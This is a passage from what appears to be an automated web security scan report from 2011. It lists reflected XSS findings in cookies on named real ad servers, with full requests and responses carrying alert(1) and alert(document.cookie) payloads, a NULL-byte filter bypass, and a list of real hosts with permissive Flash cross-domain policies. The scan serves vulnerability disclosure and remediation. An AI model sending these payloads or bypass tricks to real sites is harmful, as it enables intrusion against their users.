P3P: policyref="http://tag.admeld.com/w3c/p3p.xml", CP="DEVo PSDo OUR BUS DSP ALL COR"
Pragma: no-cache
Cache-Control: no-store
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Content-Length: 2616
Content-Type: text/html
Date: Tue, 10 May 2011 13:23:11 GMT
Connection: close

<html>
<body bgcolor="#ffffff" style="margin:0;padding:0">

<div style="width:300px;height:250px;margin:0;border:0">

...[SNIP]...
0" height="0" border="0" marginwidth="0" marginheight="0" frameborder="0" src="http://r.turn.com/server/pixel.htm?fpid=4&sp=y&admeld_call_type=iframe&admeld_user_id=ac5afe89-dbe3-4a99-9c60-59f4fb495cb98485c"><script>alert(1)</script>6e68da65b0b&admeld_adprovider_id=24&admeld_call_type=iframe&admeld_callback=http://tag.admeld.com/match">
...[SNIP]...

4.392. http://tag.admeld.com/ad/iframe/607/salonmedia/300x250/default_criteo [meld_sess cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://tag.admeld.com
Path:	/ad/iframe/607/salonmedia/300x250/default_criteo

Issue detail

The value of the meld_sess cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f1248"><script>alert(1)</script>163c8415d36 was submitted in the meld_sess cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /ad/iframe/607/salonmedia/300x250/default_criteo?t=1305033240941&tz=300&m=0&hu=&ht=js&hp=0&fo=&url=http%3A%2F%2Fletters.salon.com%2Fpolitics%2Fwar_room%2F2011%2F05%2F09%2Fsantorum_loser%2Fview%2F&refer= HTTP/1.1
Host: tag.admeld.com
Proxy-Connection: keep-alive
Referer: http://letters.salon.com/politics/war_room/2011/05/09/santorum_loser/view/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: meld_sess=ac5afe89-dbe3-4a99-9c60-59f4fb495cb9f1248"><script>alert(1)</script>163c8415d36; D41U=3ZP6aPgJzYQImYO2fkBZoKF-nc31zVj-pLzxjzthWC1M8tPub3s1d8g; __qca=P0-71277472-1304957857861

Response

HTTP/1.1 200 OK
Server: Apache
P3P: policyref="http://tag.admeld.com/w3c/p3p.xml", CP="DEVo PSDo OUR BUS DSP ALL COR"
Pragma: no-cache
Cache-Control: no-store
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Content-Length: 2616
Content-Type: text/html
Date: Tue, 10 May 2011 13:23:11 GMT
Connection: close

<html>
<body bgcolor="#ffffff" style="margin:0;padding:0">

<div style="width:300px;height:250px;margin:0;border:0">

...[SNIP]...
<script type="text/javascript" src="http://pixel.invitemedia.com/admeld_sync?admeld_user_id=ac5afe89-dbe3-4a99-9c60-59f4fb495cb9f1248"><script>alert(1)</script>163c8415d36&admeld_adprovider_id=300&admeld_call_type=js&admeld_callback=http://tag.admeld.com/match">
...[SNIP]...

4.393. http://tag.admeld.com/ad/iframe/610/unified/728x90/pmh_657143_29771683 [meld_sess cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://tag.admeld.com
Path:	/ad/iframe/610/unified/728x90/pmh_657143_29771683

Issue detail

The value of the meld_sess cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bfa8d"><script>alert(1)</script>6f05b5f7524 was submitted in the meld_sess cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /ad/iframe/610/unified/728x90/pmh_657143_29771683?t=1305037192699&tz=300&hu=&ht=js&hp=0&url=http%3A%2F%2Fwww.philly.com%2Fphilly%2Fnews%2Fnation_world%2F121548659.html%3Fef135%2527%253balert(document.cookie)%2F%2F4b169261d24%3D1&refer=http%3A%2F%2Fburp%2Fshow%2F26 HTTP/1.1
Host: tag.admeld.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.philly.com/philly/news/nation_world/121548659.html?ef135%27%3balert(document.cookie)//4b169261d24=1
Cookie: meld_sess=22e7a59d-553a-4d2e-a8a1-6434f26cd599bfa8d"><script>alert(1)</script>6f05b5f7524

Response

HTTP/1.1 200 OK
Server: Apache
P3P: policyref="http://tag.admeld.com/w3c/p3p.xml", CP="DEVo PSDo OUR BUS DSP ALL COR"
Pragma: no-cache
Cache-Control: no-store
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Content-Length: 1506
Content-Type: text/html
Date: Tue, 10 May 2011 14:20:24 GMT
Connection: close

<html>
<body bgcolor="#ffffff" style="margin:0;padding:0">

<div style="width:728px;height:90px;margin:0;border:0">

...[SNIP]...
0" height="0" border="0" marginwidth="0" marginheight="0" frameborder="0" src="http://r.turn.com/server/pixel.htm?fpid=4&sp=y&admeld_call_type=iframe&admeld_user_id=22e7a59d-553a-4d2e-a8a1-6434f26cd599bfa8d"><script>alert(1)</script>6f05b5f7524&admeld_adprovider_id=24&admeld_call_type=iframe&admeld_callback=http://tag.admeld.com/match">
...[SNIP]...

4.394. http://tag.admeld.com/ad/iframe/610/unified/728x90/pmh_657143_29771683 [meld_sess cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://tag.admeld.com
Path:	/ad/iframe/610/unified/728x90/pmh_657143_29771683

Issue detail

The value of the meld_sess cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 75cdc"><script>alert(1)</script>592a40800f3 was submitted in the meld_sess cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

Response

HTTP/1.1 200 OK
Server: Apache
P3P: policyref="http://tag.admeld.com/w3c/p3p.xml", CP="DEVo PSDo OUR BUS DSP ALL COR"
Pragma: no-cache
Cache-Control: no-store
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Content-Length: 1506
Content-Type: text/html
Date: Tue, 10 May 2011 14:20:23 GMT
Connection: close

<html>
<body bgcolor="#ffffff" style="margin:0;padding:0">

<div style="width:728px;height:90px;margin:0;border:0">

...[SNIP]...
<script type="text/javascript" src="http://pixel.invitemedia.com/admeld_sync?admeld_user_id=22e7a59d-553a-4d2e-a8a1-6434f26cd59975cdc"><script>alert(1)</script>592a40800f3&admeld_adprovider_id=300&admeld_call_type=js&admeld_callback=http://tag.admeld.com/match">
...[SNIP]...

4.395. http://tag.admeld.com/ad/json [meld_sess cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://tag.admeld.com
Path:	/ad/json

Issue detail

The value of the meld_sess cookie is copied into the HTML document as plain text between tags. The payload ca375<script>alert(1)</script>73f23ae27a3 was submitted in the meld_sess cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /ad/json?publisher_id=575&site_id=json_api&size=300x250&placement=ros&container=1444533&callback=ve_sendamdata&floor_price=0.01&url=http%3A//letters.salon.com/politics/war_room/2011/05/09/santorum_loser/view/ HTTP/1.1
Host: tag.admeld.com
Proxy-Connection: keep-alive
Referer: http://letters.salon.com/politics/war_room/2011/05/09/santorum_loser/view/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: meld_sess=ac5afe89-dbe3-4a99-9c60-59f4fb495cb9ca375<script>alert(1)</script>73f23ae27a3; D41U=3ZP6aPgJzYQImYO2fkBZoKF-nc31zVj-pLzxjzthWC1M8tPub3s1d8g; __qca=P0-71277472-1304957857861

Response

HTTP/1.1 200 OK
Server: Apache
P3P: policyref="http://tag.admeld.com/w3c/p3p.xml", CP="DEVo PSDo OUR BUS DSP ALL COR"
Pragma: no-cache
Cache-Control: no-store
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Content-Length: 1569
Content-Type: application/javascript
Date: Tue, 10 May 2011 13:20:22 GMT
Connection: close

ve_sendamdata({"ad":{"id":7353134,"adProviderId":613,"adProviderName":"sitescout","width":300,"height":250,"container":"1444533","bid":0.05,"requestId":"328e599d-703e-48af-9929-ce3c5c362f84","views":1
...[SNIP]...
height=\"250\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\" border=\"0\" scrolling=\"no\" src=\"http://tag.admeld.com/imp/iframe/575/json_api/300x250/ros/ac5afe89-dbe3-4a99-9c60-59f4fb495cb9ca375<script>alert(1)</script>73f23ae27a3/328e599d-703e-48af-9929-ce3c5c362f84?url=http%3A%2F%2Fletters%2Esalon%2Ecom%2Fpolitics%2Fwar%5Froom%2F2011%2F05%2F09%2Fsantorum%5Floser%2Fview%2F&floor_price=0.01&r=1305033622\">
...[SNIP]...

4.396. http://tag.contextweb.com/TagPublish/getad.aspx [V cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://tag.contextweb.com
Path:	/TagPublish/getad.aspx

Issue detail

The value of the V cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 12da8'%3balert(1)//45fe2fa02b3 was submitted in the V cookie. This input was echoed as 12da8';alert(1)//45fe2fa02b3 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Request

GET /TagPublish/getad.aspx?tagver=1&ca=VIEWAD&cp=530930&ct=90494&cf=300X250&cn=1&rq=1&dw=865&cwu=http%3A%2F%2Fwww.gather.com%2F6360d%253Cimg%2Bsrc%3Da%2Bonerror%3Dalert%281%29%253E1b6979d15ce&mrnd=42339118&if=0&tl=1&pxy=670,265&cxy=865,527&dxy=865,527&tz=300&ln=en-US HTTP/1.1
Host: tag.contextweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.gather.com/6360d%3Cimg+src=a+onerror=alert(1)%3E1b6979d15ce
Cookie: C2W4=3D-75AN8VZnYq06_wZQiWy50NyrW9adj8DvHdR7ctR5Ho-CybrZh3NQ; V=RiC6i2pCL3Ub12da8'%3balert(1)//45fe2fa02b3; FC1-WC=^54012_1_2R5ws; FC1-WCR=^108044_1_2R5ws; CDSActionTracking6=gDLdEnJ4dUI3|RiC6i2pCL3Ub|503597|2587|5273|54012|108044|94417|3|0|0|maysville-online.com|2|8|1|0|2|1|2||1|0|PEiOeaHGRLH4quYZj5mgESimscR103Gq|I|2QJ2U|31Blm; pb_rtb_ev=1:535039.5202f94d-e42f-420e-8fc6-233eeae015a9.0|531399.1xcfgwn0ixqhg.0; cw=cw

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa DEVa PSAa OUR BUS COM NAV INT"
X-Powered-By: ASP.NET
CW-Server: CW-WEB26
Cache-Control: no-cache
Pragma: no-cache
Expires: -1
Content-Type: application/x-javascript; charset=utf-8
Content-Length: 2986
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa DEVa PSAa OUR BUS COM NAV INT"
Date: Tue, 10 May 2011 14:11:17 GMT
Connection: close
Set-Cookie: V=RiC6i2pCL3Ub12da8'%3balert(1)//45fe2fa02b3; domain=.contextweb.com; expires=Thu, 10-May-2012 14:11:18 GMT; path=/
Set-Cookie: 530930_3_90494=1305036678136; domain=.contextweb.com; path=/
Set-Cookie: vf=1; domain=.contextweb.com; expires=Wed, 11-May-2011 04:00:00 GMT; path=/

var strCreative=''
+ '<script language="JavaScript">\n'
+ 'var zflag_nid="1432"; var zflag_cid="1"; var zflag_sid="1"; var zflag_width="300"; var zflag_height="250"; var zflag_sz="9";\n'
+ '</scr
...[SNIP]...
<IFRAME SRC="http://aperture.displaymarketplace.com/audmeasure.gif?liveconclientID=3706557521217&CreativeID=&PlacementID=0&EventType=Impression&PixelID=100&rand=2096801405&cuID=RiC6i2pCL3Ub12da8';alert(1)//45fe2fa02b3&eventGuid=Go5Me0zue3Gf" HEIGHT="0" WIDTH="0" MARGINWIDTH="0" MARGINHEIGHT="0" ALLOWTRANSPARENCY="true" FRAMEBORDER="0" SCROLLING="NO">
...[SNIP]...

4.397. http://tag.contextweb.com/TagPublish/getad.aspx [cwbh1 cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://tag.contextweb.com
Path:	/TagPublish/getad.aspx

Issue detail

The value of the cwbh1 cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a248b'-alert(1)-'a79432d5267 was submitted in the cwbh1 cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Request

GET /TagPublish/getad.aspx?tagver=1&ca=VIEWAD&cp=530930&ct=90495&cf=728X90&cn=1&rq=1&dw=1066&cwu=http%3A%2F%2Fwww.gather.com%2Flogin.action%3FbeamBack%3D%252FviewTag.action&mrnd=13017817&if=0&tl=1&pxy=169,100&cxy=1066,267&dxy=1066,267&tz=300&ln=en-US HTTP/1.1
Host: tag.contextweb.com
Proxy-Connection: keep-alive
Referer: http://www.gather.com/login.action?beamBack=%2FviewTag.action
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: C2W4=3bZ_cGKSaikCutesUynzUXb59QbtOHa7Nv35a38qe_dW_2SdvoXWHsQ; cr=2|1|-8588966416881931568|1; cwbh1=541%3B05%2F24%2F2011%3BLIFL1%0A1697%3B05%2F24%2F2011%3BFCRT1%0A2354%3B05%2F24%2F2011%3BZETC1%0A2532%3B05%2F26%2F2011%3BAMQU2%0A1443%3B05%2F30%2F2011%3BNETM7%0A2250%3B06%2F06%2F2011%3BEXPD1a248b'-alert(1)-'a79432d5267; FC1-WC=^53620_1_2TBaI; pb_rtb_ev=1:535495.0c2aede6-6bb6-11e0-8fe6-0025900a8ffe.1|535039.9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC.0|535461.2931142961646634775.0; V=wOebwAz4UvVv; 530930_3_90494=1305036044955; vf=4

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa DEVa PSAa OUR BUS COM NAV INT"
X-Powered-By: ASP.NET
CW-Server: CW-WEB21
Cache-Control: no-cache
Pragma: no-cache
Expires: -1
Content-Type: application/x-javascript; charset=utf-8
Content-Length: 1504
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa DEVa PSAa OUR BUS COM NAV INT"
Date: Tue, 10 May 2011 14:09:47 GMT
Connection: close
Set-Cookie: V=wOebwAz4UvVv; domain=.contextweb.com; expires=Thu, 10-May-2012 14:09:47 GMT; path=/
Set-Cookie: 530930_4_90495=1305036587272; domain=.contextweb.com; path=/
Set-Cookie: vf=5; domain=.contextweb.com; expires=Wed, 11-May-2011 04:00:00 GMT; path=/

var strCreative=''
+ '<IFRAME HEIGHT="90" WIDTH="728" SRC="http://media.contextweb.com/creatives/BackupTags/530930/82ee614d-b189-4b28-8d83-df850b76e9fbAdKarma_728x90..html" VISIBLE="true" MARGINWIDTH
...[SNIP]...
<IFRAME SRC="http://pixel.quantserve.com/pixel/p-01-0VIaSjnOLg.gif?tags=CONTEXTWEB.,530930,541,1697,1443,,LIFL1,FCRT1,ZETC1,AMQU2,NETM7,EXPD1a248b'-alert(1)-'a79432d5267,728X90" HEIGHT="0" WIDTH="0" MARGINWIDTH="0" MARGINHEIGHT="0" ALLOWTRANSPARENCY="true" FRAMEBORDER="0" SCROLLING="NO">
...[SNIP]...

4.398. http://tag.contextweb.com/TagPublish/getad.aspx [cwbh1 cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://tag.contextweb.com
Path:	/TagPublish/getad.aspx

Issue detail

The value of the cwbh1 cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload %00fd052'-alert(1)-'e986f4a44b5 was submitted in the cwbh1 cookie. This input was echoed as fd052'-alert(1)-'e986f4a44b5 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request

GET /TagPublish/getad.aspx?tagver=1&ca=VIEWAD&cp=530930&ct=90495&cf=728X90&cn=1&rq=1&dw=1066&cwu=http%3A%2F%2Fwww.gather.com%2F6360d%253Cimg%2Bsrc%3Da%2Bonerror%3Dalert%281%29%253E1b6979d15ce&mrnd=21675705&if=0&tl=1&pxy=169,100&cxy=1066,267&dxy=1066,267&tz=300&ln=en-US HTTP/1.1
Host: tag.contextweb.com
Proxy-Connection: keep-alive
Referer: http://www.gather.com/6360d%3Cimg+src=a+onerror=alert(1)%3E1b6979d15ce
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: C2W4=3bZ_cGKSaikCutesUynzUXb59QbtOHa7Nv35a38qe_dW_2SdvoXWHsQ; cr=2|1|-8588966416881931568|1; cwbh1=541%3B05%2F24%2F2011%3BLIFL1%0A1697%3B05%2F24%2F2011%3BFCRT1%0A2354%3B05%2F24%2F2011%3BZETC1%0A2532%3B05%2F26%2F2011%3BAMQU2%0A1443%3B05%2F30%2F2011%3BNETM7%0A2250%3B06%2F06%2F2011%3BEXPD1%00fd052'-alert(1)-'e986f4a44b5; FC1-WC=^53620_1_2TBaI; pb_rtb_ev=1:535495.0c2aede6-6bb6-11e0-8fe6-0025900a8ffe.1|535039.9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC.0|535461.2931142961646634775.0; V=wOebwAz4UvVv; 530930_3_90494=1305036044955; 530930_4_90495=1305036425755; vf=5

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa DEVa PSAa OUR BUS COM NAV INT"
X-Powered-By: ASP.NET
CW-Server: CW-WEB22
Cache-Control: no-cache
Pragma: no-cache
Expires: -1
Content-Type: application/x-javascript; charset=utf-8
Content-Length: 1892
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa DEVa PSAa OUR BUS COM NAV INT"
Date: Tue, 10 May 2011 14:13:53 GMT
Connection: close
Set-Cookie: V=wOebwAz4UvVv; domain=.contextweb.com; expires=Thu, 10-May-2012 14:13:54 GMT; path=/
Set-Cookie: 530930_4_90495=1305036834581; domain=.contextweb.com; path=/
Set-Cookie: vf=6; domain=.contextweb.com; expires=Wed, 11-May-2011 04:00:00 GMT; path=/

var strCreative=''
+ '<IFRAME HEIGHT="90" WIDTH="728" SRC="http://media.contextweb.com/creatives/BackupTags/530930/82ee614d-b189-4b28-8d83-df850b76e9fbAdKarma_728x90..html" VISIBLE="true" MARGINWIDTH
...[SNIP]...
<IFRAME SRC="http://pixel.quantserve.com/pixel/p-01-0VIaSjnOLg.gif?tags=CONTEXTWEB.,530930,541,1697,1443,,LIFL1,FCRT1,ZETC1,AMQU2,NETM7,EXPD1.fd052'-alert(1)-'e986f4a44b5,728X90" HEIGHT="0" WIDTH="0" MARGINWIDTH="0" MARGINHEIGHT="0" ALLOWTRANSPARENCY="true" FRAMEBORDER="0" SCROLLING="NO">
...[SNIP]...

5. Flash cross-domain policy previous next
There are 139 instances of this issue:

http://a.collective-media.net/crossdomain.xml
http://a.tribalfusion.com/crossdomain.xml
http://a1.interclick.com/crossdomain.xml
http://ad.afy11.net/crossdomain.xml
http://ad.amgdgt.com/crossdomain.xml
http://ad.doubleclick.net/crossdomain.xml
http://ad.media6degrees.com/crossdomain.xml
http://ad.turn.com/crossdomain.xml
http://ad.uk.doubleclick.net/crossdomain.xml
http://ad1.netshelter.net/crossdomain.xml
http://ad2.netshelter.net/crossdomain.xml
http://ad4.netshelter.net/crossdomain.xml
http://ads.pointroll.com/crossdomain.xml
http://ads.specificmedia.com/crossdomain.xml
http://adsfac.us/crossdomain.xml
http://adv.netshelter.net/crossdomain.xml
http://adx.adnxs.com/crossdomain.xml
http://afe.specificclick.net/crossdomain.xml
http://altfarm.mediaplex.com/crossdomain.xml
http://amch.questionmarket.com/crossdomain.xml
http://aperture.displaymarketplace.com/crossdomain.xml
http://api.search.live.net/crossdomain.xml
http://ar.voicefive.com/crossdomain.xml
http://as.casalemedia.com/crossdomain.xml
http://audit.303br.net/crossdomain.xml
http://b.scorecardresearch.com/crossdomain.xml
http://b.voicefive.com/crossdomain.xml
http://bcp.crwdcntrl.net/crossdomain.xml
http://beacon.videoegg.com/crossdomain.xml
http://bh.contextweb.com/crossdomain.xml
http://bs.serving-sys.com/crossdomain.xml
http://c.betrad.com/crossdomain.xml
http://c7.zedo.com/crossdomain.xml
http://cache.specificmedia.com/crossdomain.xml
http://cas.criteo.com/crossdomain.xml
http://cdn.eyewonder.com/crossdomain.xml
http://cdn.turn.com/crossdomain.xml
http://cdn4.eyewonder.com/crossdomain.xml
http://cms.quantserve.com/crossdomain.xml
http://core.videoegg.com/crossdomain.xml
http://d.tradex.openx.com/crossdomain.xml
http://d.xp1.ru4.com/crossdomain.xml
http://dar.youknowbest.com/crossdomain.xml
http://data.cmcore.com/crossdomain.xml
http://delivery.uat.247realmedia.com/crossdomain.xml
http://dg.specificclick.net/crossdomain.xml
http://dis.ny.us.criteo.com/crossdomain.xml
http://ds.serving-sys.com/crossdomain.xml
http://event.adxpose.com/crossdomain.xml
http://flash.qoof.com/crossdomain.xml
http://fw.adsafeprotected.com/crossdomain.xml
http://g-pixel.invitemedia.com/crossdomain.xml
http://hs.interpolls.com/crossdomain.xml
http://i.w55c.net/crossdomain.xml
http://ib.adnxs.com/crossdomain.xml
http://idcs.interclick.com/crossdomain.xml
http://idpix.media6degrees.com/crossdomain.xml
http://img.mediaplex.com/crossdomain.xml
http://imp.fetchback.com/crossdomain.xml
http://js.revsci.net/crossdomain.xml
http://l.betrad.com/crossdomain.xml
http://load.exelator.com/crossdomain.xml
http://loadm.exelator.com/crossdomain.xml
http://log30.doubleverify.com/crossdomain.xml
http://m.adnxs.com/crossdomain.xml
http://map.media6degrees.com/crossdomain.xml
http://media.fastclick.net/crossdomain.xml
http://metrics.philly.com/crossdomain.xml
http://metrics.washingtonpost.com/crossdomain.xml
http://mpd.mxptint.net/crossdomain.xml
http://o.sa.aol.com/crossdomain.xml
http://ping.crowdscience.com/crossdomain.xml
http://pix04.revsci.net/crossdomain.xml
http://pixel.invitemedia.com/crossdomain.xml
http://pixel.quantserve.com/crossdomain.xml
http://puma.vizu.com/crossdomain.xml
http://q1.checkm8.com/crossdomain.xml
http://r.turn.com/crossdomain.xml
http://s.meebocdn.net/crossdomain.xml
http://s0.2mdn.net/crossdomain.xml
http://s3.vpimg.net/crossdomain.xml
http://search.twitter.com/crossdomain.xml
http://secure-us.imrworldwide.com/crossdomain.xml
http://segment-pixel.invitemedia.com/crossdomain.xml
http://segments.adap.tv/crossdomain.xml
http://speed.pointroll.com/crossdomain.xml
http://stats.vodpod.com/crossdomain.xml
http://t.mookie1.com/crossdomain.xml
http://tags.bluekai.com/crossdomain.xml
http://track.qoof.com/crossdomain.xml
http://ttwbs.channelintelligence.com/crossdomain.xml
http://turn.nexac.com/crossdomain.xml
http://um.simpli.fi/crossdomain.xml
http://va.px.invitemedia.com/crossdomain.xml
http://www.huffingtonpost.com/crossdomain.xml
http://adadvisor.net/crossdomain.xml
http://ads.adbrite.com/crossdomain.xml
http://ads.adsonar.com/crossdomain.xml
http://ads.tw.adsonar.com/crossdomain.xml
http://ads2.adbrite.com/crossdomain.xml
http://adx.g.doubleclick.net/crossdomain.xml
http://api.tweetmeme.com/crossdomain.xml
http://bn.xp1.ru4.com/crossdomain.xml
http://bstats.adbrite.com/crossdomain.xml
http://cdn.shoutlet.com/crossdomain.xml
http://cim.meebo.com/crossdomain.xml
http://cookex.amp.yahoo.com/crossdomain.xml
http://disqus.com/crossdomain.xml
http://edge.sharethis.com/crossdomain.xml
http://feeds.bbci.co.uk/crossdomain.xml
http://googleads.g.doubleclick.net/crossdomain.xml
http://media.philly.com/crossdomain.xml
http://media.washingtonpost.com/crossdomain.xml
http://media3.washingtonpost.com/crossdomain.xml
http://media7.washingtonpost.com/crossdomain.xml
http://mm.chitika.net/crossdomain.xml
http://newsrss.bbc.co.uk/crossdomain.xml
http://optimized-by.rubiconproject.com/crossdomain.xml
http://pagead2.googlesyndication.com/crossdomain.xml
http://politics.gather.com/crossdomain.xml
http://pubads.g.doubleclick.net/crossdomain.xml
http://rd.meebo.com/crossdomain.xml
http://redux.com/crossdomain.xml
http://s26.sitemeter.com/crossdomain.xml
http://static.ak.fbcdn.net/crossdomain.xml
http://syndication.mmismm.com/crossdomain.xml
http://this.content.served.by.adshuffle.com/crossdomain.xml
http://tracking.adjug.com/crossdomain.xml
http://w.sharethis.com/crossdomain.xml
http://www.facebook.com/crossdomain.xml
http://www.gather.com/crossdomain.xml
http://www.meebo.com/crossdomain.xml
http://www.philly.com/crossdomain.xml
http://www.washingtonpost.com/crossdomain.xml
http://www.youtube.com/crossdomain.xml
http://api.twitter.com/crossdomain.xml
http://stats.wordpress.com/crossdomain.xml
http://talkingpointsmemo.com/crossdomain.xml
http://ultraedit.app7.hubspot.com/crossdomain.xml

Issue background

The Flash cross-domain policy controls whether Flash client components running on other domains can perform two-way interaction with the domain which publishes the policy. If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially gain full access to the application within the security context of the logged in user.

Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by a third-party attacker to exploit the trust relationship and attack the application which allows access.

Issue remediation

You should review the domains which are allowed by the Flash cross-domain policy and determine whether it is appropriate for the application to fully trust both the intentions and security posture of those domains.

5.1. http://a.collective-media.net/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://a.collective-media.net
Path:	/crossdomain.xml

Issue detail

The application publishes a Flash cross-domain policy which allows access from any domain.

Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.

Request

GET /crossdomain.xml HTTP/1.0
Host: a.collective-media.net

Response

HTTP/1.0 200 OK
Server: nginx/0.8.53
Content-Type: text/plain
Content-Length: 187
Last-Modified: Wed, 08 Sep 2010 17:14:24 GMT
Accept-Ranges: bytes
Date: Tue, 10 May 2011 13:11:52 GMT
Connection: close
